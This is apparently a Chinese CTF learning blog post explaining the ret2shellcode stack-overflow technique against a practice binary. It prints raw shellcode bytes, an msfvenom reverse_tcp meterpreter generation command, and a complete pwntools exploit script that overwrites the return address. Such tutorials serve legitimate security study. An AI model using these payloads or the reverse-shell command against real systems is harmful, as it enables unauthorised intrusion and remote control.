Featured image of post PWN! PWN! PANG! Part5 --- ret2shellcode

PWN! PWN! PANG! Part5 --- ret2shellcode

栈里混入了奇怪的东西...

PWN! PWN! PANG! Part5

呼~~好久没有继续更新PWN笔记了 (最近学的Web安全的笔记也没写 逃)

资料投放

老规矩,开头上资料= =

ret2shellcode

ShellCode

既然今天的话题叫做ret2shellcode,我们先来了解一下ShellCode

什么是ShellCode

shellcode是一段用于利用软件漏洞而执行的代码,也可以认为是一段填充数据,shellcode为16进制的机器码,因为经常让攻击者获得shell而得名。shellcode常常使用机器语言编写

如何获取ShellCode

获取ShellCode有很多种方法,这里简单介绍几种

利用PWNTools自带函数

首先设置目标程序 的参数

context(os='linux', arch='amd64', log_level='debug')# os指操作系统,这里是Linux
# arch指架构,64位一般是amd64,32位一般是i386
# log_level指日志输出的等级,debug为调试模式

然后用shellcraft.sh()函数获取ShellCode的汇编代码,再调用asm()变成机器码

shellcode = asm(shellcraft.sh())

网上找现成的ShellCode

ShellStorm: 一个国外ShellCode集合

ShellStorm中包含多种平台,多种长度,多种功能的ShellCode

为什么ShellCode会考虑长度?

答: 有时候栈中填入的ShellCode有长度限制

这里举个例子,只有8字节的ShellCode

"\x99\x6a\x0b\x58\x60\x59\xcd\x80"

metasploit

想要一个功能更强大且不想要网上到处找?

MSF的meterpreter你绝对喜欢

生成ShellCode命令

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Local IP Address> LPORT=<Local Port> -f <language>

自己写

建议新手采用前几种方案,要是各位有兴趣自己写ShellCode的话可以参考这个PDF

PWN! PWN! PANG?

本题思路和ret2text大体差不多,差别主要在返回地址上,ret2text是返回到text段的后门函数,而本次的ret2shellcode是返回到ShellCode

大家可以先自己试试再看下面的思路分析.QwQ.

大概先提几点提示:

  • ShellCode写入哪里呢?

  • ShellCode的地址是什么?

ret2shellcode

checksec一下

$ checksec ret2shellcode
[*] '/home/pwn/桌面/ROP/ret2shellcode'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments

看到这个32位程序NX是关闭的,而且有同时可以读,写,执行的段(也就是栈),我们想到可以把ShellCode写入栈中,并通过栈溢出返回到栈中的ShellCode

但是,我们貌似忽视了一个重要的问题

目标机一般都是完全打开ASLR,也就意味着每次运行程序时,组件(包括堆栈,堆和库)都将移至虚拟内存中的其他地址。 我们无法通过反复试验来了解目标所在,因为每次的地址都会不同。

因此,很显然我们并不能找到ShellCode的地址,也就没办法返回到栈上的ShellCode

啊哦,行不通了= =


当然,如果各位想尝试一下上面的思路的话,直接将ASLR关闭即可

该利用姿势ret2stack大家可以查看我朋友BlackRabbit的文章

记得留个关注呐 .QwQ.


反汇编分析

查看主函数反编译出的C代码

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s[100]; // [esp+1Ch] [ebp-64h] BYREF

  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  puts("No system for you this time !!!");
  gets(s);
  strncpy(buf2, s, 0x64u);
  printf("bye bye ~");
  return 0;
}

我们可以看出这里通过gets()读入了数组s,并把数组s的值传给了buf2,而这个buf2位于.bss节(看起来应该是一个全局变量)

想到这里,我们不禁露出了恶毒的笑容

我们在数组s中读入的shellcode会被程序同时放在buf2中,这样我们通过溢出数组s,把

main函数的返回地址覆盖成buf2的地址即可

思路.QAQ.

Exploit

通过gdb调试该程序发现在返回地址前需数据112字节

gdb调试在这里不再演示了,不会的可以查看上一篇文章

但由于我们还需要写入ShellCode,我们必须选一个小于等于112字节的ShellCode,并把不足112字节的部分用垃圾数据填充

由此写出EXP:

# -*- coding: utf-8 -*-
from pwn import *
context(os='linux', arch='i386')
shellcode = asm(shellcraft.sh())
elf = ELF("ret2shellcode")
io = process("./ret2shellcode")
io.recvline()
payload = shellcode.ljust(112,b'A')+p32(elf.symbols["buf2"])
#shellcode.ljust(112,b'A')指shellcode不够112字节的地方用A填充
io.sendline(payload)
io.interactive()

Ref

https://blog.csdn.net/weixin_43916678/article/details/107181228

https://blog.csdn.net/qq_35495684/article/details/79583232

https://notchxor.github.io/oscp-notes/8-cheatsheets/msfvenom/

https://www.bilibili.com/read/cv14181790

https://blog.csdn.net/culinxia2707/article/details/108788113

Licensed under CC BY-NC-SA 4.0
For a better open source community!
Built with Hugo
主题 StackJimmy 设计